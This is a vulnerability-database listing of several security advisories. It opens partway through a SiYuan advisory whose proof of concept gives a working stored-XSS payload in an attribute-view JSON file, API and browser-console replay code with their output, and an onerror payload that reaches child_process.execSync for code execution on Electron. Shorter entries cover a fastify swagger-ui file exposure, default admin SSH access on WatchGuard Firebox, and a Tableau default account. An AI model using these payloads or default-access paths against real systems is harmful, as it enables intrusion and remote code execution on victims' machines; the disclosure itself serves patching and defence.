workspaces.\n\n### PoC\n\nStand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`:\n\n```bash\ndocker run -d --name siyuan-poc \\\n -v ./workspace:/siyuan/workspace \\\n -p 16806:6806 \\\n b3log/siyuan:latest \\\n --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nMinimum viable AV JSON:\n\n```json\n{\n \"spec\": 2,\n \"id\": \"20260519999999-poctest\",\n \"name\": \"PocAV\",\n \"keyValues\": [\n {\n \"key\": {\"id\": \"...keyblok\", \"name\": \"Block\", \"type\": \"block\"},\n \"values\": [{\n \"id\": \"...row1blk\", \"keyID\": \"...keyblok\", \"blockID\": \"...row1blk\",\n \"type\": \"block\", \"isDetached\": true,\n \"block\": {\"id\": \"...row1blk\", \"content\": \"Row 1\"}\n }]\n },\n {\n \"key\": {\"id\": \"...keytext\", \"name\": \"TextField\", \"type\": \"text\"},\n \"values\": [{\n \"id\": \"...celltxt\", \"keyID\": \"...keytext\", \"blockID\": \"...row1blk\",\n \"type\": \"text\",\n \"text\": {\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"}\n }]\n },\n {\n \"key\": {\"id\": \"...keyurl0\", \"name\": \"UrlField\", \"type\": \"url\"},\n \"values\": [{\n \"id\": \"...cellurl\", \"keyID\": \"...keyurl0\", \"blockID\": \"...row1blk\",\n \"type\": \"url\",\n \"url\": {\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"}\n }]\n }\n ]\n}\n```\n\nIn a real attack the file gets there via sync, not by hand.\n\nConfirm the API returns the cell content raw:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -s -X POST http://localhost:16806/api/av/getAttributeView \\\n -H \"Authorization: Token $TOKEN\" \\\n -d \u0027{\"id\":\"20260519999999-poctest\"}\u0027 \\\n | python3 -m json.tool | grep -E \u0027\"content\":\u0027\n```\n\nOutput from my run on 2026-05-19:\n\n```\n\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"\n\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` come back literal, no escape.\n\nIn the Siyuan renderer\u0027s DevTools:\n\n```js\nconst res = await fetch(\u0027/api/av/getAttributeView\u0027, {\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({id: \u002720260519999999-poctest\u0027})\n});\nconst json = await res.json();\n\nlet textValue = null, urlValue = null;\nfor (const kv of json.data.av.keyValues) {\n for (const v of kv.values || []) {\n if (v.type === \u0027text\u0027 \u0026\u0026 v.text) textValue = v;\n if (v.type === \u0027url\u0027 \u0026\u0026 v.url) urlValue = v;\n }\n}\n\n// Replay the actual genAVValueHTML branches verbatim.\nconst textHTML = `\u003ctextarea rows=\"${(textValue.text?.content||\u0027\u0027).split(\u0027\\n\u0027).length}\"\u003e${textValue.text?.content || \u0027\u0027}\u003c/textarea\u003e`;\nconst urlHTML = `\u003cinput value=\"${urlValue.url.content}\"\u003e`;\n\nconst div = document.createElement(\u0027div\u0027);\ndiv.innerHTML = textHTML + urlHTML;\n\nawait new Promise(r =\u003e setTimeout(r, 250));\n\nconsole.log({\n textMarkerFired: window.__siyuan_av_xss === \u0027FIRED\u0027,\n urlMarkerFired: window.__siyuan_av_url_xss === \u0027FIRED\u0027,\n imgsInDiv: div.querySelectorAll(\u0027img\u0027).length,\n title: document.title\n});\n```\n\nOutput from my run:\n\n```json\n{\n \"textMarkerFired\": true,\n \"urlMarkerFired\": true,\n \"imgsInDiv\": 3,\n \"title\": \"AV_TEXT_XSS_OK\"\n}\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` both broke out, the smuggled `\u003cimg\u003e` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.",
"id": "GHSA-5xfx-xj4h-5p7r",
"modified": "2026-07-10T19:34:53Z",
"published": "2026-07-10T19:34:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54158"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()"
}
GHSA-62JR-84GF-WMG4
Vulnerability from github – Published: 2024-01-16 15:24 – Updated: 2024-02-16 15:30Impact
The default configuration of @fastify/swagger-ui without baseDir set will lead to all files in the module's directory being exposed via http routes served by the module.
Patches
Update to v2.1.0
Workarounds
Use the baseDir option
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@fastify/swagger-ui"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-22207"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-16T15:24:41Z",
"nvd_published_at": "2024-01-15T16:15:13Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module\u0027s directory being exposed via http routes served by the module.\n\n### Patches\n\nUpdate to v2.1.0\n\n### Workarounds\n\nUse the `baseDir` option\n\n### References\n\n[HackerOne report\n](https://hackerone.com/reports/2312369).",
"id": "GHSA-62jr-84gf-wmg4",
"modified": "2024-02-16T15:30:26Z",
"published": "2024-01-16T15:24:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-swagger-ui/security/advisories/GHSA-62jr-84gf-wmg4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22207"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-swagger-ui/commit/13d799a2c5f14d3dd5b15892e03bbcbae63ee6f7"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify-swagger-ui"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240216-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Default swagger-ui configuration exposes all files in the module"
}
GHSA-63MF-V9CC-6MHM
Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2025-11-07 15:31The default configuration of WatchGuard Firebox devices through 2025-09-10 allows administrative access via SSH on port 4118 with the readwrite password for the admin account.
{
"affected": [],
"aliases": [
"CVE-2025-59396"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T17:15:44Z",
"severity": "CRITICAL"
},
"details": "The default configuration of WatchGuard Firebox devices through 2025-09-10 allows administrative access via SSH on port 4118 with the readwrite password for the admin account.",
"id": "GHSA-63mf-v9cc-6mhm",
"modified": "2025-11-07T15:31:29Z",
"published": "2025-11-06T18:32:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59396"
},
{
"type": "WEB",
"url": "https://github.com/cyberbyte000/CVE-2025-59396/blob/main/CVE-2025-59396.txt"
},
{
"type": "WEB",
"url": "https://www.watchguard.com/wgrd-products/firewalls"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-642W-W7F4-7HF9
Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2025-04-20 03:33An issue was discovered in Schneider Electric Tableau Server/Desktop Versions 7.0 to 10.1.3 in Wonderware Intelligence Versions 2014R3 and prior. These versions contain a system account that is installed by default. The default system account is difficult to configure with non-default credentials after installation, and changing the default credentials in the embedded Tableau Server is not documented. If Tableau Server is used with Windows integrated security (Active Directory), the software is not vulnerable. However, when Tableau Server is used with local authentication mode, the software is vulnerable. The default system account could be used to gain unauthorized access.
{
"affected": [],
"aliases": [
"CVE-2017-5178"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-08T08:59:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Schneider Electric Tableau Server/Desktop Versions 7.0 to 10.1.3 in Wonderware Intelligence Versions 2014R3 and prior. These versions contain a system account that is installed by default. The default system account is difficult to configure with non-default credentials after installation, and changing the default credentials in the embedded Tableau Server is not documented. If Tableau Server is used with Windows integrated security (Active Directory), the software is not vulnerable. However, when Tableau Server is used with local authentication mode, the software is vulnerable. The default system account could be used to gain unauthorized access.",
"id": "GHSA-642w-w7f4-7hf9",
"modified": "2025-04-20T03:33:52Z",
"published": "2022-05-13T01:09:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5178"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-066-01"
},
{
"type": "WEB",
"url": "http://software.schneider-electric.com/pdf/security-bulletin/lfsec00000119"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96721"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.